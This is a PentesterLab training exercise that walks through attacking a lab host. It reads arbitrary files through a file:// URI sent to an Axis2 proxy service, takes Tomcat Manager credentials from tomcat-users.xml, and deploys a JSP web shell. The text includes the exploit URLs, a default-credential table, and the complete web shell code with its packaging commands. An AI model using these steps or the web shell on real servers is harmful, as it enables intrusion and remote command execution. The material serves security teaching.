Axis2 Web service and Tomcat Manager
This exercise explains the interactions between Tomcat and Apache, then it shows how to call and attack an Axis2 Web service. Using information retrieved from this attack, you will be able to gain access to the Tomcat Manager and deploy a WebShell to gain command execution.
Introduction
This course details the exploitation of an issue in an Axis2 Web service and how using this issue it's possible to retrieve arbitrary files. Then using this, we will see how an attacker can retrieve Tomcat users' file to access the Tomcat Manager and gain command execution on the server.
Tomcat and Apache
Architecture
On Unix/Linux systems, Tomcat cannot be run on port 80
unless you give root
access to the application server (Tomcat), which is not a good idea since Tomcat does not drop privileges and will be running as root
(as opposed to Apache which drops privileges during startup). However, to be available for most users, the server needs to be available on port 80
, that is one of the reasons people use Apache to "proxy" requests to Tomcat. This configuration can also be used to:
- Serve static content directly from Apache and limit Tomcat's load.
- Load balance requests between two or more Tomcat servers.
The Apache and Tomcat servers can be on the same server or on different servers, this can be confusing once you gain command execution on the Tomcat server and realize that its configuration does not match what you see on Apache's end.
There are two common ways to "proxy" requests from Apache to Tomcat:
http_proxy
: the requests are forwarded to Tomcat using the HTTP protocol.ajp13
: the requests are forwarded to Tomcat using the AJP13 protocol (this configuration is used in this exercise using the Apache modulemod_jk
).
You should look into CVE-2007-0450 and CVE-2007-1860, these vulnerabilities impact old versions of Tomcat/mod_jk
and can potentially allow an attacker to gain access to the Tomcat Manager even if it's not directly exposed by Apache.
Here, the page's title reveals that Tomcat is involved in this web stack; however, the HTTP headers only provide information about the Apache server in front of it:
% telnet vulnerable 80
Connected to vulnerable.
Escape character is '^]'.
GET / HTTP/1.0
HTTP/1.1 200 OK
Date: Wed, 26 Dec 2012 08:48:22 GMT
Server: Apache/2.2.16 (Debian)
[...]
Retrieving Tomcat version
It's always a good idea to retrieve the version of Tomcat to check if it's affected by any vulnerability. You can retrieve the version by accessing a non-existing page (generating a 404
error page):
Attacking Axis2
Axis2 is a project from the Apache Foundation, it allows developers to create Web services in C and in Java.
By default, Axis2 gets deployed in /axis2/
(when developers use axis2.war
), you can easily retrieve a list of the available services by visiting the page http://vulnerable/axis2/services/listServices
:
If we did not know that the server was hosting a Web service using Axis2, we could try to use a directory buster like wfuzz to find it out. However, wfuzz
's default wordlists don't contain the axis2
keyword, that is why it's always a good idea to keep your own list with paths of common applications and frameworks.
Retrieving information from the WSDL
The Web Services Description Language describes the functionalities offered by a web service. A WSDL description of a web service (XML
based) provides the methods that can be called, what parameters they expect and what values they will return.
The WSDL information can be accessed by clicking the service's name in the listServices
page or directly using the following URL: http://vulnerable/axis2/services/ProxyService?wsdl
.
You can find a list of methods by searching for the keyword operation
in the portType
section of the WSDL. In this file, we can see that only one operation is defined (get
):
[...]
<wsdl:portType name="ProxyServicePortType">
<wsdl:operation name="get">
<wsdl:input message="tns:getRequest" wsaw:Action="urn:get"/>
<wsdl:output message="tns:getResponse" wsaw:Action="urn:getResponse"/>
</wsdl:operation>
</wsdl:portType>
[...]
This operation is defined multiple times in the file for each different way to access it. We can see that this get
operation uses a tns:getRequest
and sends back a tns:getResponse
. We are mostly interested in what the need to send to the service.
Above the operation
declaration, we can see that the getRequest
used:
<wsdl:message name="getRequest">
<wsdl:part name="parameters" element="ns:get"/>
</wsdl:message>
And that this value is declared above in the WSDL file as a parameter named uri
and that this parameter is a string:
[...]
<xs:element name="get">
<xs:complexType>
<xs:sequence>
<xs:element minOccurs="0" name="uri" nillable="true" type="xs:string"/>
</xs:sequence>
</xs:complexType>
</xs:element>
[...]
Gathering this information is mostly a guess work and will depend on the WSDL file created by a given framework/tool, however, we now have everything we need to call the Web service.
Calling Axis2 services: the easy way
Axis2 provides an easy way to call Web services, you just need to follow the pattern http://[WS_URL]/method?parameters
. In our example, we can use this to call our Web service:
http://vulnerable/axis2/services/ProxyService/get?uri=https://pentesterlab.com/
. We can see that the return value is the homepage of the website PentesterLab.
Calling Axis2 services: the hard way
For complex Web services (like Web service with complex parameter types), it's better to generate a client using Axis2.
You can find more information on how to generate a client using Axis2 by following the documentation on the Axis2 website.
Java URL class
We can see that this Web service uses the provided URL to retrieve the content and echo it back in the response. The easiest way to do that is the URL
class in Java. We can probably use the URL
class behavior to get more than just a website content...
The Java URL
class is a really handy class that allows a developer to fetch and retrieve content. This class supports the following protocols:
http://
https://
ftp://
file://
- ...
The first example is the most common use of this class and often used as a proxy to retrieve resources and bypass the same origin policy. The file://
is less known and allows an attacker to retrieve arbitrary files on the file system (limited by the application server privileges).
We can exploit this behavior to retrieve the /etc/passwd
by accessing the following URL http://vulnerable/axis2/services/ProxyService/get?uri=file:///etc/passwd
:
You should try to set up Apache and Tomcat using mod_jk
and try to create a simple Axis2 HelloWorld
Web service or an Axis2 Web service that returns the current time. You can check the configuration of Apache, Tomcat and Axis2 on the ISO to get an idea on how to do it.
Attacking the Tomcat Manager
Introduction to the Tomcat Manager
The Tomcat Manager can be found at the following URL: http://vulnerable/manager/html
.
Tomcat Manager can be used to deploy web applications to Tomcat. Tomcat Manager is protected by a password and should not be installed on production servers.
The file containing the passwords is named tomcat-users.xml
and is stored inside $CATALINA_HOME/conf/
on most systems. This file looks like:
<tomcat-users>
<role rolename="manager-gui"/>
<user username="tomcat" password="tomcat" roles="tomcat"/>
<user username="admin" password="s3cret" roles="manager-gui"/>
</tomcat-users>
Debian has its own way of installing most software and tries to put configuration files in /etc
. Tomcat installed through Debian's packaging system will follow this rule and the file tomcat-users.xml
will be stored in /etc/tomcat6/
(for the current version of Debian stable).
We can see here that users have a role, it's a really important part of the Manager application since you will need a user with the role manager
(for versions before 6.0.30
) or manager-gui
(for later versions) to access the Manager and deploy an application. Other Manager roles can also be used but the deployment is more complex.
For example, if you log in using tomcat
with the password tomcat
, you will get an HTTP 403
response:
Default Manager's credentials
In previous versions of Tomcat, the Manager used to be shipped with default accounts. However, for obvious security reasons, the new versions of Tomcat are not shipped with default accounts (secure by default).
In the past, the following accounts were common:
Username | Password |
---|---|
tomcat | tomcat |
admin | (empty) |
admin | manager |
admin | password |
admin | s3cret |
Accessing the Manager using the vulnerability found previously
On Debian, by default, the tomcat-users.xml
file is located in /etc/tomcat6
, the version retrieved previously confirms this. Using the vulnerability discovered in the Axis2 Web service, we can retrieve this file.
By default, on Debian, this file can only be read by root
and the members of the group tomcat6
, but since the directory traversal gives us the same access as the Tomcat server, we can read the content of this file. It's possible to retrieve tomcat-users.xml
by accessing the following URL: http://vulnerable/axis2/services/ProxyService/get?uri=file:///etc/tomcat6/tomcat-users.xml
. You can then retrieve the password of the manager
user and access the Tomcat Manager.
Deploying a Web Shell
In this section, we are going to see how we can build and deploy a Web Shell to gain command execution on the server.
Building a Web Shell
To build a Web Shell, we will need to write the Web Shell and package it as a war
file. To write the Web Shell, we can either use JSP or Servlet. To keep things simple, we are going to build a JSP Web Shell, the following code can be used:
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
We can now create a directory name webshell
and put our file (index.jsp
) inside it:
$ mkdir webshell
$ cp index.jsp webshell
Now we can build the war
file using jar
(provided with Java):
$ cd webshell
$ jar -cvf ../webshell.war *
added manifest
adding: index.jsp(in = 579) (out= 351)(deflated 39%)
Our Web Shell (webshell.war
) is now packaged, and we can upload it using the Tomcat Manager.
Deploying a Web Shell and Command execution
To deploy the Web Shell, you just need to select the war
file you just created and upload it to the server using the Manager. The section of the page used to deploy a new web application allows you to select your war
file directly:
Once the Web Shell is deployed, you should see it in the Manager:
You just need to click the link to access it, and you can start running arbitrary commands:
Conclusion
This exercise explained how to get access to an Axis2 Web service and how the Java URL
class can be used to retrieve arbitrary files if no checks are performed on the protocol in use. Once you can retrieve arbitrary files, you can target configuration files to gather sensitive information and passwords. Once you get the credentials, you can easily access the administration interface of the application server and deploy a custom web application to run arbitrary commands on the system.
I hope you enjoyed learning with PentesterLab.